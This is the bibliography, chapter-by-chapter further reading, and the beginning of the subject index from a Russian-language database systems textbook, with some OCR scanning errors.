Mohan C., Lindsay B. and Obermarck R. (1986). Transaction management in the R* distributed database management system. ACM Trans. Database Systems, 11(4), 378-396.
Morrison R., Connor R. С. H., Cutts Q. I. and Kirby G. N. C. (1994). Persistent Possibilities for Software Environments. In The Intersection between Databases and Software Engineering. IEEE Computer Society Press, 78-87.
Moss J. E. B. (1981). Nested transactions: An approach to reliable distributed computing. PhD dissertation, MIT, Cambridge, MA.
Moss J. E. B. and Eliot J. (1990). Working with persistent objects: To swizzle or not to swizzle. Coins Technical Report 90-38, University of Massachusetts, Amherst, MA.
Moulton R. T. (1986). Computer Security Handbook: Strategies and Techniques for Preventing Data Loss or Theft. Englewood Cliffs, NJ: Prentice-Hall.
Navathe S. B., Ceri S., Weiderhold G. and Dou J. (1984/ Vertical partitioning algorithms for database design. ACM Trans. Database Systems, 9(4), 680-710.
Netree. (1998). Доступно по адресу: http://www.netree.com/netbin/internetstats.
Nievergelt J., Hinterberger H. and Sevcik К. C. (1984). The Grid File: An Adaptable, Symmetric Multikey File Structure. ACM Trans. Database Systems, 38-71.
OASIG (1996) Research report. Доступно по адресу:
http://www.comlab.ox.ac.uk/oucl/users/john.nicholls/oas-sum.html.
Obermarck R. (1982). Distributed deadlock detection algorithm. ACM Trans. Database Systems, 7(2), 187-208.
OMG and X/Open. (1992). CORBA Architecture and Specification. Object Management Group.
OMG (1997). Common Object Request Broker Architecture and Specification. Object Management Group, Revision 2.1.
Oracle Corporation. (1997). JSQL: Embedded SQL for Java, Preliminary Specification, 1 April 1997, 0.8. Доступно по адресу:
http://www.oracle.com/nca/java_nca/jsql/html/jsql-spec.html.
02 Technology. (1996). Java Relational Binding: A White Paper. Доступно по адресу: http://www.o2tech.fr/jrb/wpaper.html.
Ozsu M. and Valduriez P. (1997). Principles of Distributed Database Systems 2nd edn. Englewood Cliffs, NJ: Prentice-Hall.
Papadimitriou С. H. (1979). The serializability of concurrent database updates. J. ACM, 26(4), 150-157.
Parsaye K., Chignell M., Khoshafian S. and Wong H. (1989). Intelligent Databases. New York: John Wiley.
Peckham J. and Maryanski F. (1988). Semantic data models. ACM Computing Surv., 20(3), 143-189.
Pfleeger C. (1997) Security in Computing 2nd edn. Englewood Cliffs, NJ: Prentice Hall.
Piatetsky-Shapiro G. and Connell C. (1984). Accurate Estimation of the Number of Tuples Satisfying a Condition. In Proc. ACM SIGM0D Conf. On Management of Data, Boston, Mass., 256-276.
Pu C., Kaiser G. and Hutchinson N. (1988). Split-transactions for open-ended activities. In Proc. 14th Int. Conf. Very Large Data Bases.
QED (1989). CASE: The Potential and the Pitfalls. QED Information Sciences.
Red Brick (1996). Specialized Requirements for Relational Data Warehouse Servers. Red Brick Systems Inc. Доступно по адресу:
http://wwwwredbrick.com/rbs-g/whitepapers/tenreq_wp.html.
Reed D. (1978). Naming and Synchronization in a Decentralized Computer System. Ph.D. thesis, Department of Electrical Engineering, MIT, Cambridge, MA.
Reed D. (1983). Implementing Atomic Actions on Decentralized Data. ACM Trans, on Computer Systems, 1(1), 3-23.
Revella A. S. (1993). Software escrow. I/S Analyzer, 31(7), 12-14.
Robinson J. (1981). The K-D-B Tree: A Search Structure for Large Multidimensional Indexes. In Proc. ACM SIGMOD Conf. Management of Data, Ann Arbor, MI, 10-18.
Robson W. (1997) Strategic Management & Information Systems: An integrated Approach 2nd edn. London: Pitman Publishing.
Rogers U. (1989). Denormalization: Why, what and how? Database Programming and Design, 2(12), 46-53.
Rosenkrantz D. J. and Hunt H. B. (1980). Processing Conjunctive Predicates and Queries. In Proc. Int. Conf. Very Large Data Bases, Montreal, Canada.
Rosenkrantz D. J., Stearns R. E. and Lewis II P. M. (1978). System level concurrency control for distributed data base systems. ACM Trans. Database Systems, 3(2), 178-198.
Rothnie J. B. and Goodman N. (1977). A survey of research and development in distributed database management. In Proc. 3rd Int. Conf. Very Large Data Bases, Tokyo, Japan, 48-62.
Rumbaugh J., Blaha M., Premerlani W., Eddy F. and Lorensen W. (1991). Object- Oriented Modeling and Design. Englewood Cliffs, NJ: Prentice-Hall.
Rusinkiewicz M. and Sheth A. (1995/ Specification and Execution of Transactional Workflows. In Modern Database Systems. (Kim W., ed.). ACM Press/Addison Wesley, 592-620.
Sacco M. S. and Yao S. B. (1982). Query optimization in distributed data base systems. In Advances in Computers, 21 (Yovits M. C., ed.), New York: Academic Press, 225-273.
Schmidt J. and Swenson J. (1975). On the semantics of the relational model. In Proc. ACM SIGMOD Int. Conf, on Management of Data (King F., ed.), San JosO, CA, 9-36.
Selinger P., Astrahan M. M., Chamberlain D. D., Lorie R. A. and Price T. G. (1979). Access Path Selection in a Relational Database Management System. In Proc. ACM SIGMOD Conf. On Management of Data, Boston, Mass., 23-34.
Senn J. A. (1992). Analysis and Design of Information Systems 2nd edn. New York: McGraw-Hill.
Shapiro L. D. (1986). Join Processing in Database Systems with Large Main Memories. ACM Trans. Database Syst. 11(3), 239-264.
Sheth A. and Larson J. L. (1990). Federated databases: architectures and integration. ACM Computing Surv., Special Issue on Heterogeneous Databases, 22(3), 183-236.
Shipman D. (1981). The functional model and the data language DAPLEX. ACM Trans. Database Systems, 6(1), 140-173.
Shneiderman D. (1992). Design the User Interface: Strategies for Effective HumanInteraction 2nd edn. Reading, MA: Addison-Wesley.
Silberschatz A., Stonebraker M. and Ullman J., eds. (1991). Database systems: Achievements and opportunities. Comm. ACM, 34(10).
Simoudis E. (1996). Reality Check for Data Mining. IEEE Expert, Oct, 26-33.
Singh H. S. (1997). Data Warehousing: Concepts, Technologies, Implementation and Management. Upper Saddle River, NJ: Prentice-Hall.
Skarra A. H. and Zdonik S. (1989). Concurrency control and object-oriented databases. In Object-Oriented Concepts, Databases and Applications (Kim W. and Lochovsky, F. H., eds), 395-422. Reading, MA: Addison-Wesley.
Skeen D. (1981). Non-blocking commit protocols. In Proc. ACM SIGMOD Int. Conf. Management of Data, 133-142.
Smith P. and Barnes G. (1987). Files and Databases: An Introduction. Reading, MA: Addison-Wesley.
Soley R. M. ed. (1990). Object Management Architecture Guide. Object Management Group.
Soley R. M., ed. (1992). Object Management Architecture Guide Rev 2, 2nd edn. OMG TC Document 92.11.1, Object Management Group.
Soley R. M. ed. (1995). Object Management Architecture Guide 3rd edn. Framingham, MA: Wiley.
Soilins K. and Masinter L. (1994). Functional requirements for Uniform Resource Names. RFC 1737.
Sommerville I. (1996). Software Engineering 5th edn. Reading, MA: Addison-Wesley.
Standish T. A. (1994). Data Structures, Algorithms, and Software Principles. Reading, MA: Addison-Wesley.
Stonebraker M. (1996). Object-Relational DBMSs: The Next Great Wave. San Francisco, CA: Morgan Kaufmann Publishers Inc.
Stonebraker M. and Neuhold E. (1977). A distributed database version of INGRES. In Proc. 2nd Berkeley Workshop on Distributed Data Management and Computer Networks, Berkeley, CA, May 1977, 9-36.
Stonebraker M. and Rowe L. (1986). The design of POSTGRES. In ACM SIGMOD Int. Conf, on Management of Data, 340-355.
Stonebraker M., Rowe L., Lindsay B., Gray P., Carie Brodie M. L., Bernstein P. and Beech D. (1990). The third generation database system manifesto. In Proc. ACM SIGMOD Conf.
Stubbs D. F. and Webre N. W. (1993). Data Structures with Abstract Data Types and Ada. Belmont, CA: Brooks/Cole Publishing Co.
Su S. Y. W. (1983). SAM*: A Semantic Association Model for corporate and scientific-statistical databases. Information Science, 29, 151-199.
Sun (1997). JDK 1.1 Documentation. Palo Alto, CA: Sun Microsystems Inc.
Tanenbaum A. S. (1996). Computer Networks 3rd edn. Englewood Cliffs, NJ: Prentice-Hall.
Taylor D. (1992). Object Orientation Information Systems: Planning and Implementation. New York, NY: John Wiley.
Teorey T. J. (1994). Database Modeling & Design: The Fundamental Principles 2nd edn. San Mateo, CA: Morgan Kaufmann.
Teorey T. J. and Fry J. P. (1982). Design of Database Structures. Englewood Cliffs, NJ: Prentice-Hall.
Thomas R. H. (1979). A majority consensus approach to concurrency control for multiple copy databases. ACM Trans. Database Systems, 4(2), 180-209.
Todd S. (1976). The Peterlee relational test vehicle - a system overview. IBM Systems J., 15(4), 285-308.
Ullman J. D. (1988). Principles of Database and Knowledge-base Systems Volumes I and II, Rockville, MD: Computer Science Press.
Valduriez P. and Gardarin G. (1984). Join and Semi-Join Algorithms for a Multiprocessor Database Machine. In ACM Trans. Database Syst. 9(1), 133-161.
W3C (1998, a). HTML 3.2. World Wide Web Consortium. Доступно no адресу: http://www.w3c.org/MarkUp/Wilbur.
W3C (1998, 6). HTML 4.0. World Wide Web Consortium. Доступно по адресу: http://www.w3c.org/TR/WD-html4 0/.
W3C (1998, в). HTTP/1.1. Work in progress. Доступно по адресу: http://www.w3c.org/Protocols/HTTP.
W3C (1998, г). World Wide Web Consortium. XML FAQ. Доступно по адресу: http://www.ucc.ie/xml.
Weikum G. (1991). Principles and realization strategies of multi-level transaction management. ACM Trans. Database Systems, 16(1), 132-180.
Weikum G. and Schek H. (1991). Multi-level transactions and open nested transactions. IEEE Data Engineering Bulletin.
White S. J. (1994). Pointer swizzling techniques for object-oriented systems. University of Wisconsin Technical Report 1242, PhD Thesis.
Wiederhold G. (1983). Database Design 2nd edn. New York, NY: McGraw-Hill.
Wong E. and Youssef! K. (1976). Decomposition - A Strategy for Query Processing. ACM Trans. Database Syst. 1(3).
X/Open. (1992). The Х/Open CAE Specification “Data Management: SQL Call-Level Interface (CLI)”. The Open Group.
Zdonik S. and Maier D., eds (1990). Fundamentals of object-oriented databases in readings. In Object-Oriented Database Systems, San Mateo, CA: Morgan Kaufmann, 1-31.
Zloof M. M. (1977). Query-By-Example: A database language. IBM Systems J., 16(4), 324-343.
Дополнительная литература
Глава 2
Batini С., Ceri S. and Navathe S. (1992). Conceptual Database Design: An EntityRelationship approach. Redwood City, CA: Benjamin/Cummings. •
Brodie M., Mylopoulos J. and Schmidt J., eds. (1984). Conceptual Modeling. New York, NY: Springer-Verlag.
Gardarin G. and Valduriez P. (1989). Relational Databases and Knowledge Bases. Reading, MA: Addison-Wesley.
Tsichritzis D. and Lochovsky F. (1982). Data Models. Englewood Cliffs, NJ: Prentice-Hall.
Ullman J. (1988). Principles of Database and Knowledge-Base Systems Vol 1. Rockville, MD: Computter Science Press.
Глава 3
Aho A. V., Beeri C. and Ullman J. D. (1979). The theory of joins in relational databases. ACM Trans. Database Systems, 4(3), 297-314.
Chamberlin D. (1976). Relational data-base management systems. ACM Computing Surv., 8(1), 43-66.
Codd E. F. (1982). The 1981 ACM Turing Award Lecture: Relational database: A practical foundation for productivity. Comm. ACM, 25(2), 109-117.
Dayal U. and Bernstein P. (1978). The updatability of relational views. In Proc. 4th Int. Conf, on Very Large Data Bases, 368-377.
Ozsoyoglu G., Ozsoyoglu Z. and Matos V. (1987). Extending relational algebra and relational calculus with set valued attributes and aggregate functions. ACM Trans, on Database Systems, 12(4), 566-592.
Reisner P. (1977). Use of psychological experimentation as an aid to development of a query language. IEEE Trans. Software Engineering, SE3(3), 218-229.
Reisner P. (1981). Human factors studies of database query languages: A survey and assessment. ACM Computing Surv., 13(1).
Rissanen J. (1979). Theory of joins for relational databases - a tutorial survey. In Proc. Symposium on Mathematical Foundations of Computer Science, 537-551. Berlin: Springer-Verlag.
Schmidt J. and Swenson J. (1975). On the semantics of the relational model. In Proc. ACM SIGMOD Int. Conf, on Management of Data, 9-36.
Глава 4’
Brancheau J. C. and Schuster L. (1989). Building and implementing an information architecture. Data Base, Summer, 9-17.
Fox R. W. and Unger E. A. (1984). A DBMS selection model for managers. In Advances in Data Base Management, Vol. 2 (Unger E. A., Fisher P. S. and Slonim J., eds), 147-170. Wiley Heyden.
Grimson J. B. (1986). Guidelines for data administration. In Proc. IFIP 10th World Computer Congress (Kugler H. J., ed.), 15-22. Amsterdam: Elsevier Science.
Loring P. and De Garis C. (1992). The changing face of data administration. In Managing Information Technology’s Organisational Impact, II, IFIP Transactions A [Computer Science and Technology] vol A3 (Clarke R. and Cameron J., eds), 135-144. Amsterdam: Elsevier Science.
Nolan R. L. (1982). Managing The Data Resource Function 2nd edn. New York, NY: West Publishing Co.
Peat L. R. (1982). Practical Guide to DBMS Selection. Berlin: Walter de Gryter & Co.
Ravindra P. S. (1991, a). Using the data administration function for effective data resource management. Data Resource Management, 2(1), 58-63.
Ravindra P. S. (1991, 6). The interfaces and benefits of the data administration function. Data Resource Management, 2(2), 54-58.
Robson W. (1994). Strategic Management and Information Systems: An Integrated Approach. London: Pitman.
Teng J. T. C. and Grover V. (1992). An empirical study on the determinants of effective database management. J. Database Administration, 3(1), 22-33.
Weldon J.-L. (1981). Data Base Administration. New York, NY: Plenum Press.
Глава 5
Benyon D. (1990). Information and Data Modelling. Oxford: Blackwell Scientific.
Elmasri R. and Navathe S. (1994). Fundamentals of Database Systems 2nd edn. New York, NY: Benjamin/Cummings.
Gogolla M. and Hohenstein U. (1991). Towards a semantic view of the EntityRelationship model. ACM Trans. Database Systems, 16(3).
Hawryszkiewycz I. T. (1991). Database Analysis and Design 2nd edn. Basingstoke: Macmillan.
Howe D. (1989). Data Analysis for Data Base Design 2nd edn. London: Edward Arnold.
Глава 6
Date C. J. (1995). An Introduction to Database Systems 6th edn. Reading, MA: Addison-Wesley.
Elmasri R. and Navathe S. (1998). Fundamentals of Database Systems 3rd edn. New York, NY: Benjamin/Cummings.
Ullman J. D. (1988). Principles of Database and Knowledge-base Systems Volumes I and II, Rockville, MD: Computer Science Press.
Главы 7 и 8
Avison D. Е. and Fitzgerald G. (1988). Information Systems Development: Methodologies, Techniques and Tools. Oxford: Blackwell.
Elmasri R. and Navathe S. (1994). Fundamentals of Database Systems 2nd edn. New York, NY: Benjamin/Cummings.
Howe D. (1989). Data Analysis for Data Base Design 2nd edn. London: Edward Arnold.
Глава 9
Howe D. (1989). Data Analysts for Data Base Design 2nd edn. London; Edward Arnold.
Senn J. A. (1992). Analysis and Design of Information Systems 2nd edn. New York, NY: McGraw-Hill.
Tillmann G. (1993). A Practical Guide to Logical Data Modelling. New York, NY: McGraw-Hill.
Wertz C. J. (1993). Relational Database Design: A Practitioner’s Guide. New York, NY: CRC Press.
Willits J. (1992). Database Design and Construction: Open Learning Course for Students and Information Managers. Library Association Publishing.
Главы 13 и 14
ANSI (1986). Database Language - SQL (X3.135). American National Standards Institute, Technical Committee X3H2.
ANSI (1989, a). Database Language - SQL with Integrity Enhancement (X3.135- 1989). American National Standards Institute, Technical Committee X3H2.
ANSI (1989, 6) Database Language - Embedded SQL (X3.168-1989). American National Standards Institute, Technical Committee X3H2.
Date C. J. and Darwen H. (1993). A Guide to the SQL Standard 3rd edn. Reading, MA: Addison-Wesley.
Date C. J. (1995). An Introduction to Database Systems 6th edn. Reading, MA: Addison-Wesley.
Глава 15
Buchanan T. and Neilsen D. (1997). Teach Yourself Access 97 in 24 Hours. Sams Publishing.
Gifford D. et al. (1998). Access 97 Unleashed. Sams Publishing.
Marlowe K. (1997). Using Microsoft Access 97. Que Corp.
O’Leary L. (1998). Access 97. McGraw-Hill.
Simpson A. and Olson E. (1996). Mastering Access 97 for Windows 95/NT. Sybex.
Глава 16
Ackmann D. (1993). Software Asset Management: Motorola Inc. I/S Analyzer, 31(7), 5-9.
Bawden D. and Blakeman K. (1990). IT Strategies for Information Management. London: Butterworth Scientific.
Berner P. (1993). Software auditing: Effectively combating the five deadly sins. Information Management & Computer Security, 1(2), 11-12.
Bhashar К. (1993). Computer Security: Threats and Countermeasures. Oxford: NCC Blackwell.
Brathwaite K. S. (1985). Data Administration: Selected Topics of Data Control. New York, NY: John Wiley.
Collier P. A., Dixon R. and Marston C. L. (1991). Computer Research Findings from the UK. Internal Auditor, August, 49-52.
Hsiao D. K., Kerr D. S. and Madnick S. E. (1978). Privacy and security of data communications and data bases. In Issues in Data Base Management, Proc. 4th Int. Conf. Very Large Data Bases. North-Holland.
Kamay V. and Adams T. (1993). The 1992 profile of computer abuse in Australia: Part 2. Information Management & Computer Security, 1(2), 21-28.
Martin J. (1976). Principles of Data-Base Management. Englewood Cliffs, NJ: Prentice Hall.
Perry W. E. (1983). Ensuring Data Base Integrity. New York, NY: John Wiley.
S. W. R. H. A. (February 1993). Report on the Inquiry into the London Ambulance Service, Communications Directorate, South West Thames Regional Health Authority.
Глава 17
Bayer H., Heller H. and Reiser A. (1980). Parallelism and recovery in database systems. ACM Trans. Database Systems, 5(4), 139-156.
Bernstein P. A., Shipman D. W. and Wong W. S. (1979/ Formal aspects of serializability in database concurrency control. IEEE Trans. Software Engineering, 5(3), 203-215.
Bernstein P. A. and Goodman N. (1983/ Multiversion concurrency control - theory and algorithms. ACM Trans. Database Systems, 8(4), 465-483.
Bernstein P. A., Hadzilacos V. and Goodman N. (1988/ Concurrency Control and Recovery in Database Systems. Reading, MA: Addison-Wesley.
Chandy К. M., Browne J. C., Dissly C. W. and Uhrig W. R. (1975). Analytic models for rollback and recovery strategies in data base systems. IEEE Trans. Software Engineering, 1(1), 100-110.
Davies Jr. J. C. (1973). Recovery semantics for a DB/DC system. In Proc. ACM Annual Conf., 136-141.
Elmasri R. and Navathe S. (1994). Fundamentals of Database Systems 2nd edn. Redwood City, CA: Benjamin/Cummings.
Gray J. N. (1978). Notes on data base operating systems. In Operating Systems: An Advanced Course, Lecture Notes in Computer Science (Bayer R., Graham M. and Seemuller G., eds), 393-481. Berlin: Springer-Verlag.
Gray J. N. (1981). The transaction concept: virtues and limitations. In Proc. Int. Conf. Very Large Data Bases, 144-154.
Gray J. N., McJones P. R., Biasgen M., Lindsay B., Lorie R., Price T., Putzolu F. and Traiger I. (1981). The Recovery Manager of the System R database manager. ACM Computing Surv., 13(2), 223-242.
Gray J. N. (1993). Transaction Processing: Concepts and Techniques. San Mateo CA; Morgan-Kaufmann.
Kadem Z. and Silberschatz A. (1980). Non-two phase locking protocols with shared and exclusive locks. In Proc. 6th Int. Conf, on Very Large Data Bases, Montreal, 309-320.
Kohler К. H. (1981). A survey of techniques for synchronization and recovery in decentralized computer systems. ACM Computing Surv., 13(2), 148-183.
Korth H. F. (1983). Locking primitives in a database system. J. ACM, 30(1), 55-79.
Korth H. and Silberschatz A. (1991). Database System Concepts 2nd edn. McGraw-Hill.
Kumar V. (1996). Performance of Concurrency Control Mechanisms in Centralized Database Systems. Englewood Cliffs, NJ: Prentice Hall.
Kung H. T. and Robinson J. T. (1981). On optimistic methods for concurrency control. ACM Trans. Database Systems, 6(2), 213-226.
Lorie R. (1977). Physical integrity in a large segmented database. ACM Trans. Database Systems, 2(1), 91-104.
Moss J., Eliot J., and Eliot B. (1985). Nested Transactions: An Approach to Reliable Distributed Computing. Cambridge, MA: MIT Press.
Papadimitriou C. (1986). The Theory of Database Concurrency Control. Rockville, MD: Computer Science Press.
Thomas R. H. (1979). A majority concensus approach to concurrency control. ACM Trans. Database Systems, 4(2), 180-209.
Глава 18
Yu C. (1997). Principles of Database Query Processing for Advanced Applications. San Francisco, CA: Morgan Kaufmann Publishers.
Freytag J.C., Maier D. and Vossen G. (1994). Query Processing for Advanced Database Systems. San Mateo, CA: Morgan Kaufmann.
Korth H. and Silberschatz A. (1991). Database System Concepts 2nd edn. McGraw-Hill.
Главы 19 и 20
Bell D. and Grimson J. (1992). Distributed Database Systems. Harlow: Addison Wesley Longman.
Bhargava B., ed. (1987). Concurrency and Reliability in Distributed Systems. New York, NY: Van Nostrand Reinhold.
Bray О. H. (1982). Distributed Database Management Systems. Lexington Books.
Ceri S. and Pelagatti G. (1984). Distributed Databases: Principles and Systems. New York, NY: McGraw-Hill.
Chang S. K. and Cheng W. H. (1980). A methodology for structured database decomposition. IEEE Trans. Software Engineering, 6(2), 205-218.
Knapp E. (1987). Deadlock detection in distributed databases. ACM Computing Surv., 19(4), 303-328..
Ozsu M. and Valduriez P. (1997). Principles of Distributed Database Systems 2nd edn. Englewood Cliffs, NJ: Prentice-Hall.
Podeameni S. and Mittelmeir M. (1996). Distributed Relational Database, Cross Platform Connectivity. Englewood Cliffs, NJ: Prentice-Hall.
Rozenkrantz D. J., Stearns R. E. and Lewis P. M. (1978). System level concurrency control for distributed data base systems. ACM Trans. Database Systems, 3(2), 178-198.
Simon A.R. (1995). Strategic Database Technology: Management for the Year 2000. San Francisco, CA: Morgan Kaufmann.
Stonebraker M. (1979). Concurrency control and consistency of multiple copies of data in distributed INGRES. IEEE Trans. Software Engineering, 5(3), 180-194.
Traiger I. L., Gray J., Galtieri C. A. and Lindsay B. G. (1982). Transactions and consistency in distributed database systems. ACM Trans. Database Systems, 7(3), 323-342.
Глава 22
Atkinson М. ed. (1995). Proc, of Workshop on Persistent Object Systems. Springer-Verlag.
Ben-Nathan R. (1995). CORBA: A Guide to Common Object Request Broker Architecture. McGraw-Hill.
Bertino E. and Martino L. (1993). Object-Oriented Database Systems: Concepts and Architectures. Wokingham: Addison-Wesley.
Cooper R. (1996). Interactive Object Databases: The ODMG Approach. International Thomson Computer Press.
Elmasri R. (1994). Object-Oriented Database Management. Englewood Cliffs, NJ: Prentice-Hall.
Embley D. (1997). Object Database Development: Concepts and Principles. Harlow. Addison Wesley Longman.
Jordan D. (1998). C++ Object Databases: Programming with the ODMG Standard. Harlow: Addison Wesley Longman.
Kemper A. and Moerkotte G. (1994). Object-Oriented Database Management: Applications in Engineering and Computer Science. Englewood Cliffs, NJ: Prentice-Hall.
Kim W., ed. (1995). Modern Database Systems: The Object Model, Interoperability and Beyond. Reading, MA; Addison-Wesley.
Loomis M. E. S. (1995). Object Databases. Reading, MA: Addison-Wesley.
Nettles S. ed. (1997). Proc, of Workshop on Persistent Object Systems. San Francisco, CA: Morgan Kaufmann.
Ozsu M. T., Dayal U. and Valduriez P. eds. (1994). Distributed Object Management. San Mateo, CA: Morgan Kaufmann.
Pope A. (1998). CORBA Reference Guide: Understanding the Common Object Request Broker Architecture. Harlow: Addison Wesley Longman.
Simon A. R. (1995). Strategic Database Technology: Management for the Year 2000. San Francisco, CA: Morgan Kaufmann.
Глава 23
Stonebraker M. (1996). Object-Relational DBMSs: The Next Great Wave. San Francisco, CA: Morgan Kaufmann Publishers Inc.
Глава 24
Ben-Nathan R. (1997). Objects on the Web: Designing, Building, and Deploying Object-Oriented Applications for the Web. McGraw-Hill.
Berlin D. et al. (1996). CGI Programming Unleashed. Sams Publishing.
Boutell T. (1997). CGI Programming. Harlow: Addison Wesley Longman.
Cattell R. G. G. and Hamilton G. (1997). JDBC Database Access with Java. Harlow: Addison Wesley Longman.
Cornell G. and Abdeli K. (1997). CGI Programming with Java. Prentice Hall.
Forta B. (1997). The Cold Fusion Web Database Construction Kit. Que Corp.
Jepson B. (1996). World Wide Web Database Programming for Windows NT. John Wiley & Sons.
Ladd R. S. (1998). Dynamic HTML. New York, NY: McGraw-Hill.
Lemay L. (1997). Teach Yourself Web Publishing with HTML. Sams Publishing.
Lang C. (1996). Database Publishing on the Web. Coriolis Group.
McGeehan M. (1996). World Wide Web Developers Guide with Microsoft SQL. Sams Publishing.
Mezick D. (1997). Active Server Page Programming. Microsoft Corp. Press.
Mohseni P. (1996). Web Database Primer Plus. Waite Group Press.
Powell T. (1997). HTML: The Complete Reference. New York, NY: McGraw-Hill.
Raggett D., Lam J. and Alexander I. A. (1997). HTML 4. Harlow: Addison Wesley Longman.
Rowe. J. (1996). Webmaster’s Guide to Building Internet Database Servers with CGI. New Riders Publishing.
Sams. (1997). Teach Yourself Active Web Database Programming in 21 Days. Sams Publishing.
Urman S. (1998). JSQL Programming. McGraw-Hill.
Vai Haecke B. (1997). JDBC: Java Database Connectivity. IDG Books.
Williamson A. (1997). Java Database Programming Servlets and JDBC. Prentice Hall.
Wooding. (1996). World Wide Web Database Developer’s Guide. Sams Publishing.
Глава 25
Anahory S. and Murray D. (1997). Data Warehousing in the Real World: A Practical Guide for Building Decision Support Systems. Harlow: Addison Wesley Longman.
Berson A. and Smith S. J. (1997). Data Warehousing, Data Mining, & OLAP. McGraw Hill Companies Inc.
Devlin B. (1997). Data Warehouse: From Architecture to Implementation. Harlow: Addison Wesley Longman.
Hackney D. (1998). The Seven Deadly Sins of Data Warehousing. Harlow: Addison Wesley Longman.
Inmon W. H. (1993) Building the Data Warehouse. New York, NY: John Wiley & Sons.
Inmon W. H., Welch J. D. and Glassey K. L. (1997). Managing the Data Warehouse. New York, NY: John Wiley & Sons.
Singh H. S. (1997). Data Warehousing: Concepts, Technologies, Implementation and Management. Upper Saddle River, NJ: Prentice-Hall.
Глава 26
Berson A. and Smith S. J. (1997). Data Warehousing, Data Mining, & OLAP. McGraw Hill Companies Inc.
Cabena P., Hadjinian P., Stadler R, Verhees J. and Zanasi A. (1997). Discovering Data Mining from Concept to Implementation. New Jersey, USA: Prentice-Hall PTR.
Hackney D. (1998). Understanding and Implementing Successful Data Marts.. Harlow: Addison Wesley Longman.
Приложение Б
Austing R. H. and Cassel L. N. (1988). File Organization and Access: From Data to Information. Lexington MA: D.C. Heath and Co.
Baeza-Yates R. and Larson P. (1989). Performance of B-V-trees with partial expansion. IEEE Trans. Knowledge and Data Engineering, 1(2).
Folk M. J. and Zoellick B. (1987). File Structures: A Conceptual Toolkit. Reading, MA: Addison-Wesley.
Frank L. (1988). Database Theory and Practice. Reading, MA: Addison-Wesley.
Gardarin G. and Valduriez P. (1989). Relational Databases and Knowledge Bases. Reading, MA: Addison-Wesley.
Johnson T. and Shasha D. (1993). The peformance of current В Tree algorithms. ACM Trans. Database Systems, 18(1).
Knuth, D. (1973). The Art of Computer Programming Volume 3: Sorting and Searching. Reading, MA: Addison-Wesley.
Korth H. and Silberschatz A. (1991). Database System Concepts 2nd edn. McGraw-Hill.
Larson P. (1981). Analysis of index-sequential files with overflow chaining. ACM Tras. Database Systems, 6(4).
Livadas P. (1989). File Structures: Theory and Practice. Englewood Cliffs, NJ: Prentice-Hall.
Mohan C. and Narang I. (1992). Algorithms for creating Indexes for very large tables without quiescing updates. In Proc. ACM SIGMOD Int. Conf, on Management of Data, San Diego, CA.
Salzberg B. (1988). File Structures: An Analytic Approach. Englewood Cliffs, NJ: Prentice-Hall.
Smith P. and Barnes G. (1987). Files & Databases: An Introduction. Reading, MA: Addison-Wesley.
Приложение В
Bachmann C. W. (1989). The programmer as navigator. In Readings in Artificial Intelligence and Databases (Mylopolous J. and Brodie M., eds), 52-59. San Mateo, CA: Morgan Kaufmann.
Boulanger D. and March S. T. (1989). An approach to analyzing the Information content of existing databases. DataBase, 20(2), 1-8.
Fadok G. T. (1985). Effective Design of CODASYL Data Base. New York: Macmillan.
Hawryszkiewycz I. T. (1991). Database Analysis and Design 2nd edn. New York: Macmillan.
Olle T. W, (1978). The Codasyl Approach to Data Base Management. Chichester: John Wiley.
Ozkarahan E. (1990). Database Management: Concepts, Design, and Practice. Englewood Cliffs, NJ: PrCntice-Hall.
Peat L. R. (1982). Practical Guide to DBMS Selection. Berlin: Walter de Gruyter.
Приложение Г
IBM Corp. (October 1990). IMS/ESA Version 3 Database Administration Guide Release 1 2nd edn (SC26-4281-1).
IBM Corp. (February 1993). IMS/ESA Version 3 Utilities Reference Release 1 2nd edn (SC26-4284-01).
Peat L. R. (1982). Practical Guide to DBMS Selection. Berlin: Walter de Gruyter.
Предметный указатель
А.
Access, 928
Active Desktop, 923; 925
Active Server, 925
Active Server Pages, 29
ADO, 925; 927; 1072
объектная модель, 1073
Ж 856
API, 516; 912; 913
ASP, 925; 926; 10 72
в
В ‘-Tree, 320; 337
BCNF, 290
BLOB-объекты, 776; 790
c
CASE-инструменты, 167
CASE-технология, 773
CGI, 905; 90 7; 909; 911; 913; 926
передача параметров, 907; 908 переменные окружения, 906
CODzXSYL, 73
COM, 924
cookies, 911
CORBA, 830; 930
D
DAO, 925; 927
data mart, 29
data mining, 29; 991
DBDL, 262; 285; 289; 30 7
DCOM, 924
DDL, 49; 58; 79; 461; 838
представления, 50
DLBD, 395
DML, 49; 58; 79; 80
непроцедурные языки. 81
процедурные языки, 80
Е
EER-модель, 204
генерализация, 208
категоризация, 209 наследование, 205 подкласс, 204
специализаиия, 205
суперкласс, 204
ER-диаграммы. 291; 1061
ER-модель
ловушки соединения, 199
связи, 190
сущности, 183
ER-технология, 48; 183; 260; 268; 290;
352
extranet, 891
F
FTP,892
G
Gopher, 892
н
HTML, 773; 892; 894
формы, 908
HTTP, 892; 893; 930; 932; 940
I
ICX, 931
IDC, 928
Internet, 890
TCP/IP, 890
URL-адрес, 895
безопасность, 932
броузер, 892
intranet, 891
ISAM, 320; 336
ISAPI, 912
J
Java, 913; 106 7; 1069; 10 70
JDBC, 915
верификатор байт-кода, 938
загрузчик классов, 937
менеджер защиты, 938
JavaScript, 921; 1071
JDBC, 915; 919; 1067
JRB, 919; 1070
JScript, 921
JSQL, 918; 919; 1069
JVM, 914
M
Microsoft Active Platform, 923
MIME, 905; 906; 90 7
N
NCA, 929
NNTP, 892
NSAPI, 912; 922
NULL, 118; 119
О
ODBC, 530; 925 архитектура, 531
ODMG, 827; 831; 832
OLAP, 29; 955; 981; 982
MOLAP, 987
ROLAP, 988 консолидация, 984 кубы данных, 982 нисходящий анализ, 984 разбиение с поворотом, 984 размерность, 982
расширения языка SQL, 989 требования к системам, 985 OLE, 924 OLE DB, 926
OLTP, 948
OMG, 827
OQL, 820
ORB-брокер, 829
Q
QBE, 81; 136; 640 автоподстановка полей, 555 активные запросы, 556 выборка данных, 543 выборка дубликатов, 553 динамический набор, 541 добавление записей, 560 запросы обновления, 559 запросы с обобщением, 548 запросы удаления, 557 критерии отбора, 543 многотабличные запросы, 546 параметрические запросы, 550 перекрестные запросы, 551 создание таблиц, 557 типы запросов, 541; 542 эквивалентный SQL-оператор, 543
QPE, 313
R
RDO, 927
S
SET, 936
SGML, 773; 940
S-HTTP, 935
SQL, 28; 49; 81; 107; 136; 308; 421; 529; 917
DDL, 426
DML, 426
SQL2, 448; 449
SQL3, 860
бизнес-правила, 491
